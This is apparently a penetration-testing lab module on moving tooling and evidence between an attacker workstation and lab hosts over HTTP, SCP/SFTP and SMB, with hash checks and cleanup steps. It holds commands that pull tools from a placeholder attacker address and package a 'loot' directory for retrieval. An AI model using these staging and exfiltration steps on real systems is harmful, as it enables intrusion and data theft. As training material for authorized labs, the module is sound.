Module 09 // controlled movement

Move only what you need.

Choose the smallest reliable lab channel, bind it to the intended interface, verify the artifact at both ends, and tear the channel down when the transfer is complete.

HTTPSCP/SFTPSMBSHA-256
Authorized labs only. Transfer only tooling and evidence allowed by the exercise. Never expose a share to an untrusted network, move real-world data, or leave a temporary listener running after the lab.

Prepare the channel

pe status
pe vpn route "$IP"
umask 077
mkdir -p transfer
chmod 700 transfer

Direction

Decide whether the lab host pulls from you or you pull from it. Prefer the direction that requires the fewest new listeners and firewall changes.

Interface

Use the VPN or explicitly authorized lab address. Bind temporary services to that address rather than every interface.

Artifact

Record the expected filename, size and SHA-256 before transfer. Keep tooling separate from collected evidence.

Lifetime

Start the channel immediately before use, watch its terminal, then stop it as soon as both ends verify the file.

Ephemeral HTTP

HTTP is convenient for one-way lab downloads when credentials are not required. Serve only a dedicated staging directory and bind to the lab-facing address.

# workstation: serve ./transfer on the lab interface
python3 -m http.server 8000 \
  --bind <ATTACKER_VPN_IP> --directory ./transfer

# Linux lab host
curl -fLO http://<ATTACKER_VPN_IP>:8000/tool
# or
wget -O tool http://<ATTACKER_VPN_IP>:8000/tool

# Windows PowerShell lab host
Invoke-WebRequest -UseBasicParsing -Uri 'http://<ATTACKER_VPN_IP>:8000/tool.exe' -OutFile "$env:TEMP\tool.exe"
  • Check ss -ltnp on the workstation and confirm the listener address before sharing the URL.
  • The Python server has no transport encryption or authentication; use it only on the isolated lab path.
  • Watch the request log, stop with Ctrl-C, and do not serve your home or target-root directory.

SCP and SFTP

When SSH is already exposed and the supplied account is authorized, SCP/SFTP provides an authenticated channel without adding a new service.

# upload a tool to the authorized lab account
scp -p ./transfer/tool user@"$IP":/tmp/tool

# retrieve a result into the private staging directory
scp user@"$IP":/tmp/result.txt ./transfer/

# interactive, inspect-before-transfer workflow
sftp user@"$IP"
Verify the host key. A changed key may be expected after an HTB machine reset, but compare it with the current lab context before removing any known-host entry.

Use the least-privileged destination available, avoid overwriting system files, and set executable permission only when the lab task requires it.

Temporary SMB

SMB is useful for Windows-oriented labs. Share only the staging directory, bind the server to the lab address, and use short-lived credentials if the exercise supports them.

# workstation: temporary read-only lab share
SMB_SERVER=$(command -v smbserver.py || command -v impacket-smbserver)
sudo "$SMB_SERVER" -smb2support -readonly \
  -ip <ATTACKER_VPN_IP> transfer ./transfer

# Windows CMD lab host
copy \\<ATTACKER_VPN_IP>\transfer\tool.exe %TEMP%\tool.exe

# Windows PowerShell lab host
Copy-Item '\\<ATTACKER_VPN_IP>\transfer\tool.exe' "$env:TEMP\tool.exe"

# Linux lab host
smbclient "//<ATTACKER_VPN_IP>/transfer" -N -c 'get tool'
  • Confirm TCP/445 is reachable only over the intended lab path and watch the server terminal for unexpected clients.
  • Anonymous examples are appropriate only for a short-lived isolated lab. Prefer temporary authentication where practical.
  • Stop the server with Ctrl-C; do not reuse lab share passwords elsewhere.

Package multiple files

Archive a known directory rather than serving a broad tree. List the archive before transfer and inspect paths again before extracting on the receiving side.

tar --create --gzip --file transfer/evidence.tgz \
  --directory loot .
tar --list --gzip --file transfer/evidence.tgz

# extract into a dedicated directory
mkdir -p received
tar --extract --gzip --file transfer/evidence.tgz \
  --directory received

Avoid archives containing absolute paths or unexpected parent-directory components. Treat collected evidence as private even when the archive itself is compressed.

Verify integrity

Linux

# sender
sha256sum transfer/tool

# receiver
sha256sum tool

Windows PowerShell

Get-FileHash "$env:TEMP\tool.exe" -Algorithm SHA256

Compare the complete digest out of band with the sender value. Also check the file size and type; a successful HTTP status or copy command does not prove the artifact is the one intended.

wc -c < transfer/tool
file transfer/tool

Troubleshoot methodically

  1. Route

    Confirm both endpoints and the lab interface. Re-run pe vpn route for the target.

  2. Listener

    Use ss -ltnp to verify the expected address and port, then inspect the serving terminal.

  3. Request

    Check the exact URL/share name, filename case, destination permissions and returned status.

  4. Artifact

    Verify hash, architecture and file type before assuming a transfer problem is an execution problem.

Close the channel

  • Stop the HTTP/SMB server and confirm its port is no longer listening.
  • Remove temporary tooling from the lab host when the exercise permits and no longer needs it.
  • Move retained evidence into the target’s private tree; apply restrictive permissions.
  • Clear temporary passwords and UNC paths from the clipboard and avoid publishing transfer logs with sensitive names.
  • Record the artifact hash, source, destination and cleanup in notes, then run pe backup.